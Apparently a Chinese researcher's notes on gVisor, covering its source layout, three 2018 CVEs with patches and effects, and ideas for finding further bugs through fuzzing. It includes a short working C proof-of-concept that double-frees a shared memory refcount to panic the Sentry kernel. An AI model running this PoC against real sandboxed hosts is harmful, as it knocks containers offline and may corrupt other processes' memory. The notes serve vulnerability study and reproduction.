0x0 源码大致结构

(略去了一些琐碎的代码,仅保留了提供关键功能的目录)

├── pkg
│   ├── abi
│   │   └── linux
│   ├── amutex
│   ├── atomicbitops
│   ├── binary
│   ├── bits
│   ├── bpf
│   ├── compressio
│   ├── context
│   ├── control
│   │   ├── client
│   │   └── server
│   ├── cpuid
│   ├── eventchannel
│   ├── fd
│   ├── fdchannel
│   ├── fdnotifier
│   ├── flipcall
│   ├── fspath
│   ├── gate
│   ├── goid
│   ├── ilist
│   ├── linewriter
│   ├── log
│   ├── memutil
│   ├── metric
│   ├── p9
│   ├── pool
│   ├── procid
│   ├── rand
│   ├── refs
│   ├── safecopy
│   ├── safemem
│   ├── seccomp
│   ├── secio
│   ├── segment
│   ├── sentry
│   │   ├── arch
│   │   ├── BUILD
│   │   ├── contexttest
│   │   ├── control
│   │   ├── device
│   │   ├── devices
│   │   ├── fs
│   │   ├── fsbridge
│   │   ├── fsimpl
│   │   ├── hostcpu
│   │   ├── hostmm
│   │   ├── inet
│   │   ├── kernel
│   │   ├── limits
│   │   ├── loader
│   │   ├── memmap
│   │   ├── mm
│   │   ├── pgalloc
│   │   ├── platform
│   │   ├── sighandling
│   │   ├── socket
│   │   ├── state
│   │   ├── strace
│   │   ├── syscalls
│   │   ├── time
│   │   ├── unimpl
│   │   ├── uniqueid
│   │   ├── usage
│   │   ├── vfs
│   │   └── watchdog
│   ├── sleep
│   ├── state
│   ├── sync
│   ├── syncevent
│   ├── syserr
│   ├── syserror
│   ├── tcpip
│   ├── tmutex
│   ├── unet
│   ├── urpc
│   ├── usermem
│   └── waiter
├── runsc
│   ├── boot
│   │   ├── filter
│   │   ├── platforms
│   │   ├── pprof
│   ├── BUILD
│   ├── cgroup
│   ├── cmd
│   ├── console
│   ├── container
│   ├── criutil
│   ├── debian
│   ├── dockerutil
│   ├── flag
│   ├── fsgofer
│   ├── main.go
│   ├── sandbox
│   ├── specutils
├── tools
│   ├── checkunsafe
│   ├── go_generics
│   ├── go_marshal
│   ├── go_stateify
├── vdso

可参考github上gVisor仓库中各目录内容



0x1 漏洞攻击面的探索


Guest kernel 共享内存错误(0224更新)

漏洞 :CVE-2018-19333,产生于Sentry

补丁:在引用计数减一前判断共享内存销毁请求是否发出

效果:

  1. 共享内存在执行多次shmctl(shmid, IPC_RMID, NULL);后引用计数被减至负数导致负溢,从而引发panic导致容器拒绝服务。
  2. 若恰好被释放的共享内存被另一进程使用,则可以修改另一进程内存数据

环境搭建 :

  1. 本地安装bazel之后在克隆的项目下git reset b23cd33--hard或直接下载官方测试版binary
  2. 修改docker配置文件/etc/docker/daemon.json,如下文
 {
     "runtimes": {
         "runsc": {
             "path": "path/to/latest/runsc"
     },
         "runsc_vuln": {
             "path": "path/to/vulner/runsc"
         }
     },
     "registry-mirrors" : [
         "http://ovfftd6p.mirror.aliyuncs.com",
         "http://registry.docker-cn.com",
         "http://docker.mirrors.ustc.edu.cn",
         "http://hub-mirror.c.163.com"
     ],
     "insecure-registries" : [
         "registry.docker-cn.com",
         "docker.mirrors.ustc.edu.cn"
     ], "debug" : true
 } 

复现:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/shm.h>
#define SHMKEY 0xdeadbeef
#define SHMSIZE ((size_t) 0x2000)
int main()
{
   int shmid = shmget(SHMKEY, SHMSIZE, IPC_CREAT | 0600);
   volatile unsigned char *shmm = shmat(shmid, NULL, 0);
   printf("%p - %p SHMM\n", shmm, shmm+SHMSIZE);
   printf("Decreasing RefCount\n");
   shmctl(shmid, IPC_RMID, NULL);
   shmctl(shmid, IPC_RMID, NULL);
   sleep(2);
   printf("\nTime to panic…\n");
   return 0;
}

之所以最后留出两秒再退出,是因为引用计数已为0,退出程序后将被减至负数,导致Sentry panic


Guest kernel 拒绝服务

漏洞 :CVE-2018-20168,产生于Sentry

补丁 :增加0x13370000请求分支(感觉有点鸡肋?)

效果 :篡改页表入口之后被迫访问非法物理,从而基于kvm的Sentry发生崩溃

环境搭建 :暂无

PoC :因为出发漏洞的前提是获取了CR3下的页目录入口指针,故需要修改源码之后才可运行


seccomp 白名单缺陷(计划0225复现)

漏洞 :CVE-2018-16359,产生于runsc与Gofer

补丁 :修改白名单

效果 :逃逸



0x2 对gVisor漏洞挖掘与利用的思考

0221:

  1. gVisor本身使用安全编程语言golang开发并未采用cgo,故漏洞挖掘的着重点应放到逻辑洞上去。
  2. 此外,Sentry作为非特权用户态内核,本身在实现操作系统功能时应当还有部分尚未发现的逻辑漏洞比如内存管理时的引用计数负溢;并且,排除Sentry与Host kernel之间的limited syscall可能存在的逻辑漏洞之后,唯一能和真实主机交互的关键组件就是与文件系统交互的Gofer。

0224:

  1. 看了GoogleCTF gomium出题人的博客之后,发现golang本身并非绝对安全,存在条件竞争导致的内存破坏漏洞递归栈溢出等不安全因素;
  2. gVisor是可以用内核fuzz工具syzkaller来测试的,这应当是接下来一段时间的重点工作——fuzz Sentry,如果自己懒得搭fuzz可以直接用syzbot